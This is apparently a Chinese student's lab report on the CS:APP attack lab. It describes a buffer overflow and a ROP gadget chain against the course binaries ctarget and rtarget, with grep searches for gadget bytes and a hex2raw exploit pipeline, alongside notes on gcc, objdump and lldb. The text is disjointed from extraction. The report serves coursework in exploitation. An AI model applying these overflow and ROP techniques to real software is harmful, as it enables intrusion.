1
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14
15
16
17
18
19
20
21



6. 偏移量上⽅写⼊movl %eax, %edx的地址
7. gadget4上⽅写⼊movl %edx, %ecx的地址
8. gadget5上⽅写⼊movl %ecx, %esi的地址
9. gadget6上⽅写⼊lea (%rdi, %rsi, 1)的地址

10. gadget0上⽅写⼊movq %rax, %rdi的地址
11. gadget7上⽅写⼊touch3函数的地址
12. touch3函数地址上⽅写⼊cookie的⼗六进制字符串

 

进⾏检验：

 

实验结果  

 

实验⼼得  
关于缓冲区⼤⼩与参数的关系  
如[实验原理部分的实例代码所示，虽然例⼦中， buf数组仅仅为 8个字节，然⽽实际上缓存区开辟了 24个字

节。开辟的空间和声明的空间不⼀定是⼀致的，这个与编译器的优化、栈顶的对⻬等相关。

cat 5.txt | ./hex2raw | ./ctarget -q1



然⽽，在实验PPT说明中，实验⽂档认为开辟的空间、缓冲区⼤⼩即为数组⼤⼩，这⾥有所不妥，该情况已向
助教⽼师反馈。



 

实验⼯具  

GCC&G++  

gcc 最开始的时候是 GNU C Compiler, 如你所知，就是⼀个c编译器。但是后来因为这个项⽬⾥边集成了更多
其他不同语⾔的编译器，GCC就代表 the GNU Compiler Collection，所以表示⼀堆编译器的合集。 g++则是GCC
的c++编译器。

⽽我们在编译代码时调⽤的gcc，已经不是当初那个c语⾔编译器，更确切的说他是⼀个驱动程序，根据代码的
后缀名来判断调⽤c编译器还是c++编译器 (g++)。⽐如代码后缀是*.c，他会调⽤c编译器还有linker去链接c的
library。如果代码后缀是cpp, 他会调⽤g++编译器，当然library call也是c++版本的。

除开上述细节，其实可以简单将gcc视为c语⾔编译器，g++视为c++语⾔编译器。

gcc main.cpp -O2 -o cpp2c
选择编译器，⽬标⽂件，-O2优化等级，-o指定⽬标⽂件（否则默认为a.out）
最后⼀步的可执⾏⽂件，叫啥都⽆所谓，后缀名也可以⾃⼰随便写

1
2
3

./cpp2c < 09.in > cpp2c.output
这⼀串是在重定向，将09.in输⼊给可执⾏⽂件cpp2c，随后把输出传递到
cpp2c.output⾥⾯
注意./表示在同级⽂件夹下执⾏某某操作

1
2
3
4



在DSA lab1的调试过程中，⾸先将标准代码编译为了std.out，然后不断地向std.out输⼊0X.in⽂件，重定向到
std.out⾥⾯。

之后调⽤diff函数⽐较

更详细的g++操作：

g++参数介绍

总结⼀下 GCC 的⼀些参数⽤法，也给出了其他⼀些常⽤的参数：

 

objdump  

objdump - 维基百科，⾃由的百科全书

diff cpp2c.output std.out1

-o filename 指定输出的⽂件名
-S 输出汇编代码
-c 编译到对象⽂件（object file， .o/.obj）
-E 对代码进⾏预处理
-g 打开调试符号
为了调试⽅便，⼀般需要打开 -g 选项，否则调试的时候可能会遇到⽆法设置断点，或者在断点⽆法看到变量信
息等问题

-Werror 把所有的 warning 当成 error
-O{,1,2,3,s,fast,g} 设置优化选项

> gcc time.cpp -S -O2 -g -Werror -o time.s
> gcc time.cpp -S -O2 -g -o time.s
> gcc time.cpp -E -O -o time.s

1
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-s 
--full-contents 
显示指定section的完整内容。默认所有的⾮空section都会被显示。 

-S 
--source 
尽可能反汇编出源代码，尤其当编译的时候指定了-g这种调试参数时，效果⽐较明显。
把反汇编的代码和调试信息⾥的代码信息合在⼀起显示，隐含了-d参数。
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https://www.cnblogs.com/lidan/archive/2011/05/25/2239517.html
https://zh.wikipedia.org/wiki/Objdump


objdump命令_Linux objdump 命令⽤法详解：显示⼆进制⽂件信息

 

gdb&lldb  

macos原⽣的LLDB调试⼯具理论上相⽐ gdb更加优化。

 

问题解决  

exec format error  

我将服务器代码scp⾄本地后尝试完全在本地完成实验，然⽽在调⽤如下语句后，出现如下问题：

经过查找相关资料后，确定问题应该出在程序运⾏指令集不同。

我的设备使⽤的是苹果的M1芯⽚，采⽤的是ARM64指令集，⽽服务器采⽤的指令集是X86-64，从⽽导致了该
程序运⾏失败。于是我回到服务器进⾏实验，解决了该问题。

 

-d 反汇编可执⾏的段（如.text）
-D 反汇编所有的段，即使这个段存储的是数据，也当成指令来解析。

-t 显示函数的符号列表。

--adjust-vma OFFSET 把反汇编出来的地址都加上⼀个偏移，常⽤于嵌⼊式开发。

-M {intel,att} ⽤ Intel 或者 AT&T ⻛格显示 X86 汇编；默认情况下⽤的是AT&T⻛格。

如果⽤的是 MSVC，那么默认的 X86 汇编⻛格是 Intel ⻛格；如果⽤的是 objdump、 gdb、gcc等⼯具，
⼀般默认的汇编⻛格是AT&T。
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g++ main.cpp -g -o debug
这⾥⽤-g⽣成调试⽂件
lldb debug
进⼊调试模式

b 31
在第31⾏加⼊断点
r
进⼊执⾏，并且在断点断掉

q
退出lldb
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> ./hex2raw < phase1.txt > attack1;
zsh: exec format error: ./hex2raw

1
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https://man.linuxde.net/objdump
https://lldb.llvm.org/use/map.html
https://stackoverflow.com/questions/64706647/why-am-i-getting-a-zsh-exec-format-error


基于MacOS进⾏实验  

实际上，由于我的电脑采⽤了基于ARM指令集的M1芯⽚，导致⽆论是反汇编还是运⾏可执⾏⽂件，均与服务
器有所差异，所以我的实验⽆法在本地完成，需要依靠于服务器。

然⽽，Moba X Term并没有MacOS版本，这导致了进⼀步的不太⽅便。于是我不得不通过vscode remote来
在服务器完成实验。很遗憾，vscode插件配置不恰当，导致我⽆法在vscode上可视化查询反汇编代码。

我不得不将反汇编代码scp到本地查询：

随后才能得到实验所需的touch1的函数地址，缓冲区⼤⼩等等。

 

利⽤存档  

在实验过程中，很⻓⼀段时间，⽆论多⻓的输⼊，我都⽆法成功触发缓冲区溢出，这让我⾮常费解。

仔细研究了两个⼩时，得到了结论：我的服务器上的可执⾏⽂件⼤⼩为0，被莫名其妙的清除过。（这个貌似
和vscode插件有关，我室友也出现了类似问题）

其实从上⽅我对ctarget进⾏scp也可以看出这个问题，ctarget.d⼤⼩为0，这是因为可执⾏⽂件被清空了，故
⽽反汇编⽂件也被清空了。

重新将之前拷⻉在本地的可执⾏⽂件上传⾄服务器，继续实验。

 

字节序问题  

https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F

 

寻找gadget1  

最初我企图直接在rtarget当中寻找我所需要的target，于是我尝试了众多grep指令：

> scp 2020012363@166.111.69.40:/home/2020012363/ctarget.d ./
2020012363@166.111.69.40's password:
ctarget.d                                     100%    0     0.0KB/s   00:00

1
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3

2020012363@hp:~$ du hex2raw
0       hex2raw
2020012363@hp:~$ du ctarget
72      ctarget
2020012363@hp:~$ du rtarget
76      rtarget

1
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5
6

2020012363@hp:~$ grep "48 89" rtarget.s
  400e86:       48 89 e2                mov    %rsp,%rdx
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https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F


然⽽当我快要遍历整个表格时，我意识到：⼏乎⽆法找到相邻的两个语句完全表达：

然⽽，我只需要拼凑出如下字段即可：

然后精准的将程序计数器设置到48的地址，⽽程序即会在c3运⾏结束后ret掉，这样以来，我很快得到了需要
的代码地址，将401a18向后偏移⼀位，也即401a19。

  400ecc:       48 89 e5                mov    %rsp,%rbp
-----------------------------------------------------------------------------------
-----
2020012363@hp:~$ grep "48 89 c7" rtarget.s
  401a11:       c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a1e:       b8 48 89 c7 90          mov    $0x90c78948,%eax
  4021b4:       48 89 c7                mov    %rax,%rdi
2020012363@hp:~$ grep "48 89 cf" rtarget.s
2020012363@hp:~$ grep "48 89 d7" rtarget.s
2020012363@hp:~$ grep "48 89 df" rtarget.s
  40192b:       48 89 df                mov    %rbx,%rdi
  4021a5:       48 89 df                mov    %rbx,%rdi
2020012363@hp:~$ grep "48 89 e7" rtarget.s
  4010d1:       48 89 e7                mov    %rsp,%rdi
  401802:       48 89 e7                mov    %rsp,%rdi
  401c7e:       48 89 e7                mov    %rsp,%rdi
  402458:       48 89 e7                mov    %rsp,%rdi
2020012363@hp:~$ grep "48 89 f7" rtarget.s
  402621:       48 89 f7                mov    %rsi,%rdi
2020012363@hp:~$ grep "48 89 ff" rtarget.s
2020012363@hp:~$ grep "b8 48 89" rtarget.s
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a1e:       b8 48 89 c7 90          mov    $0x90c78948,%eax
  401ae2:       b8 48 89 e0 c3          mov    $0xc3e08948,%eax
  401af6:       b8 48 89 e0 c7          mov    $0xc7e08948,%eax
2020012363@hp:~$ grep "48 ** 48 89" rtarget.s
2020012363@hp:~$ grep "48 48 89" rtarget.s
2020012363@hp:~$ grep "b8 48 89" rtarget.s
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a1e:       b8 48 89 c7 90          mov    $0x90c78948,%eax
  401ae2:       b8 48 89 e0 c3          mov    $0xc3e08948,%eax
  401af6:       b8 48 89 e0 c7          mov    $0xc7e08948,%eax
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movq %rax %rdi
ret
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48 89 c7 c31



 

寻找gadget2  

在第⼆个gadget的搜寻当中，我同样遇到了⼀些问题：

如上所示，当我尝试搜索连续的“58 c3”字符串时，没能成功，⽽我遍历了其余可能的popq指令，均未能找到
相应的16进制指令。⽆奈之下，我遍历了“58”字符串的搜索结果，最后发现：

我这才意识到字符串“58”与“c3”可能并不连续，他们可能在不同的⾏，甚⾄中间夹杂着“90”,nop操作符。所以
直接跳转⾄0x4019fe即可。

 

实验总结  
完成此次实验之前的⼀个暑假偶然间与我在武汉⼤学⽹络安全学院的⾼中同学交流过⼀些⽹络安全问题。实际

上，信息⽹络已然渗透⾄社会的各个层⾯，各类重要信息系统已经成为国家的关键基础设施。

与此同时，⽹络空间安全问题⽇益突出，受到了全社会的关注，也对⽹络空间安全⼈才提出了⼴泛⽽迫切的需
求。⽹络空间安全⼈才的培养已成为当前教育界、学术界和产业界的⼀⼤热点。

2020012363@hp:~$ grep "48 89 c7 c3" rtarget.s
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
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020012363@hp:~$ grep "58 c3" rtarget.s
2020012363@hp:~$ grep "59 c3" rtarget.s
2020012363@hp:~$ grep "5a c3" rtarget.s
2020012363@hp:~$ grep "5b c3" rtarget.s
2020012363@hp:~$ grep "5c c3" rtarget.s
2020012363@hp:~$ grep "5d c3" rtarget.s
2020012363@hp:~$ grep "58" rtarget.s
  400c58:       ff d0                   callq  *%rax
  400cf0:       ff 25 62 43 20 00       jmpq   *0x204362(%rip)        # 605058 
<mmap@GLIBC_2.2.5>
  400fa5:       48 8d 3d ac 20 00 00    lea    0x20ac(%rip),%rdi        # 403058 
<_IO_stdin_used+0x68>
  401058:       89 c7                   mov    %eax,%edi
  401249:       48 8b 0d 58 42 20 00    mov    0x204258(%rip),%rcx        # 6054a8 
-----------------------------------------------------------------------------------
-
<trans_char+0x78>
  402d58:       41 c6 44 24 02 00       movb   $0x0,0x2(%r12)
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00000000004019fc <addval_327>:
  4019fc: 8d 87 58 90 c3 e0     lea    -0x1f3c6fa8(%rdi),%eax
  401a02: c3                    retq   
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本次实验我动⼿完成了缓冲攻击的两种形式，这加强了我在实际编程中的安全意识。与此同时，我在实验过程
多次遇到本地实验与服务器实验差异甚⼤的问题，⽽这⼀切源⾃于ARM架构的指令集与X86架构指令集的区别，这
也使我认识到了芯⽚、指令集系统等信息科学基础的重要意义。

在2021年中国半导体⾏业峰会上，⼯信部杨旭东副司⻓谈到：芯⽚爬坡过坎的过程中不要⽼想着换道超⻋。去
年，中国电⼦学会发表规篇⽂章，系统介绍了⽬前我国集成电路产业技术情况。⼤多数我们能在媒体上看到的喜报
和突破都集中在实验室。⽽⽣产应⽤领域我国实际上全⾯落后，预计要到2031年到2033年国产光科机才能带着整
个产业链开始推⼴。⽽国内芯⽚、半导体等技术发展不⾜，这也让我看到了我国IT产业相对发达国家的劣势，更加
激励我在信息科学领域刻苦钻研。

⽽在服务器上完成实验，使我更加熟悉了更多的shell指令，包括vim、管道、重定向等等，⽽这些知识将在以
后的学习过程中给予我更多帮助。

本次实验也提升了我对汇编代码的解读和理解能⼒，尤其是涉及到程序计数器，跳转，返回等部分的内容使我
对课堂内容有了更深⼊的理解，能够更好的分析程序运⾏过程中栈的调⽤情况。
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